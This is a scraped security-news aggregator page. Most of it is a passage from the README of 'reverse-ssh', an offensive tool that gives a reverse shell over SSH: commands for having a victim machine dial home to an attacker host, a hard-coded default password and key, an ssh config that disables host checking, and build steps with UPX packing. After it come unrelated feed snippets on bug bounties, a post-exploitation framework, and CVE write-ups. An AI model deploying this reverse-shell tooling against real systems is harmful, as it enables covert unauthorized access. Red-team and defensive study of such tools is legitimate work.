# On attacker (default password: letmeinbrudipls)
attacker$ssh -p 8888 127.0.0.1
# or with ssh config from below
attacker$ssh target In the end it's plain ssh, so you could catch the remote port forwarding call coming from the victim's machine with your openssh daemon listening on port 22. Just prepend @ and provide the password once asked to do so. Dialling home currently is password only, because I didn't feel like baking a private key in there as well yet... For even more convenience, add the following to your ~/.ssh/config, copy the ssh private key (https://github.com/Fahrj/reverse-ssh/blob/master/id_reverse-ssh) to ~/.ssh/ and simply call ssh target or sftp target afterwards: Host target
Hostname 127.0.0.1
Port 8888
IdentityFile ~/.ssh/id_reverse-ssh
IdentitiesOnly yes
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
Full usage
Usage: reverse-ssh [options] [@] Examples: Bind: reverse-ssh reverse-ssh -v -l :4444 Reverse: reverse-ssh 192.168.0.1 reverse-ssh kali@192.168.0.1 reverse-ssh -p 31337 192.168.0.1 reverse-ssh -v -b 0 kali@192.168.0.2 Options: -s, Shell to use for incoming connections, e.g. /bin/bash; (default: /bin/bash) for windows this can only be used to give a path to 'ssh-shellhost.exe' to enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory) -l, Bind scenario only: listen at this address:port (default: :31337) -p, Reverse scenario only: ssh port at home (default: 22) -b, Reverse scenario only: bind to this port after dialling home (default: 8888) -v, Emit log output Optional target which enables the reverse scenario. Can be prepended with @ to authenticate as a different user than 'reverse' while dialling home. Credentials: Accepting all incoming connections from any user with either of the following: * Password "letmeinbrudipls" * PubKey "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi" ">reverseSSH v1.1.0 Copyright (C) 2021 Ferdinor

Usage: reverse-ssh [options] [@]

Examples:
Bind:
reverse-ssh
reverse-ssh -v -l :4444
Reverse:
reverse-ssh 192.168.0.1
reverse-ssh kali@192.168.0.1
reverse-ssh -p 31337 192.168.0.1
reverse-ssh -v -b 0 kali@192.168.0.2

Options:
-s, Shell to use for incoming connections, e.g. /bin/bash; (default: /bin/bash)
for windows this can only be used to give a path to 'ssh-shellhost.exe' to
enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
-l, Bind scenario only: listen at this address:port (default: :31337)
-p, Reverse scenario only: ssh port at home (default: 22)
-b, Reverse scenario only: bind to this port after dialling home (default: 8888)
- v, Emit log output


Optional target which enables the reverse scenario. Can be prepended with
@ to authenticate as a different user than 'reverse' while dialling home.

Credentials:
Accepting all incoming connections from any user with either of the following:
* Password "letmeinbrudipls"
* PubKey "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"
Build instructions
Make sure to install the above requirements (https://www.kitploit.com/search/label/Requirements) such as golang in a matching version and set it up correctly. Afterwards, you can compile with make, which will create static binaries in bin. Use make compressed to pack the binaries with upx to further reduce their size. make

# or to additionally created binaries packed with upx

make compressed You can also specify a different default shell (RS_SHELL), a personalized password (RS_PASS) or an authorized key (RS_PUB) when compiling: ssh-keygen -t ed25519 -f id_reverse-ssh

RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
Building for different operating systems or architectures
By default, reverse-ssh is compiled for your current OS and architecture, as well as for linux and windows in x86 and x64. To compile for other architectures or another OS you can provide environmental variables which match your target, e.g. for linux/arm64: GOARCH=arm64 GOOS=linux make compressed A list of available targets in format OS/arch can be obtained via go tool dist list.
Contribute
Is a mind-blowing feature missing? Anything not working as intended? Create an issue or pull request!

Download Reverse-Ssh (https://github.com/Fahrj/reverse-ssh)

Deep Web
Support for the page

If i made my own website on deepweb or dark web can i share my link to get support from community?

submitted by /u/arshiasohrabi
[link] [comments]

How I Scored 1K Bounty Using Waybackurls

Approaching a target from all anglesContinue reading on InfoSec Write-ups »
Read more...

Metacommunication and Bug Bounty Programs

What metacommunication do bug bounty teams and researchers need to be aware of? The most important are context and relationships.Continue reading on Discernible »
Read more...

Kali Linux Tutorials
AlanFramework : A Post-Exploitation Framework

AlanFramework is a post-exploitation framework useful during red-team activities. Changelog 3.0.0 – 15/05/2021 Renamed agent shell quit command to exit Implemented agent migration via migrate command Fixed error in retrieving OS version Added DLL as agent format in the creation wizard. Implemented ps command to list the currently running processes Implemented download command to locally download a file or an entire directory Implemented upload command to […]

The post AlanFramework : A Post-Exploitation Framework appeared first on Kali Linux Tutorials.

Metacommunication and Bug Bounty Programs
https://medium.com/discernible/metacommunication-and-bug-bounty-programs-c922c9d91047?source=rss------bug_bounty-5

What metacommunication do bug bounty teams and researchers need to be aware of? The most important are context and relationships.Continue reading on Discernible » (https://medium.com/discernible/metacommunication-and-bug-bounty-programs-c922c9d91047?source=rss------bug_bounty-5)

hacking: security in practice
Corellium will pay for security researchers to check Apple CSAM claims

https://external-preview.redd.it/sg625iJPkqNaVE22p5A_Cg3S-gQdggJnT-SWPkh5cCw.jpg?width=640&crop=smart&auto=webp&s=c9c9a7e62571b87c1c1f91f4e6e14baf854a90d1 submitted by /u/donthavenick
[link] [comments]

Hacking on Medium
Integer Overflow to RCE — ManageEngine Asset Explorer Agent (CVE-2021–20082)

https://cdn-images-1.medium.com/max/1916/1*SaeyIS-iymwcyXsgJdwlng.gif
A couple months back, Chris Lyne and I had a look at ManageEngine ServiceDesk Plus. This product consists of a server / agent model in…

Continue reading on Tenable TechBlog »

Hacking on Medium
BASIC SPLUNK 101 WALKTHROUGH TRYHACKME

https://cdn-images-1.medium.com/max/678/1*jgwlpn5quO2hxfrsZIKFWA.jpeg
SIEM stands for security information and event management and provides organizations with next-generation detection, analytics and…

Continue reading on InfoSec Write-ups »

Hacking on Medium
Hub Weekly Digest: Hub Partners with Trilogy Networks, Increase in Healthcare Attacks and Pipeline…

https://cdn-images-1.medium.com/max/2600/1*-3fgsfXOn2967XKJPPECIg.jpeg
HUB Security’s weekly digest covers top stories happening around the world related to cyber attacks, threats and global cybersecurity news.

Continue reading on HUB Security »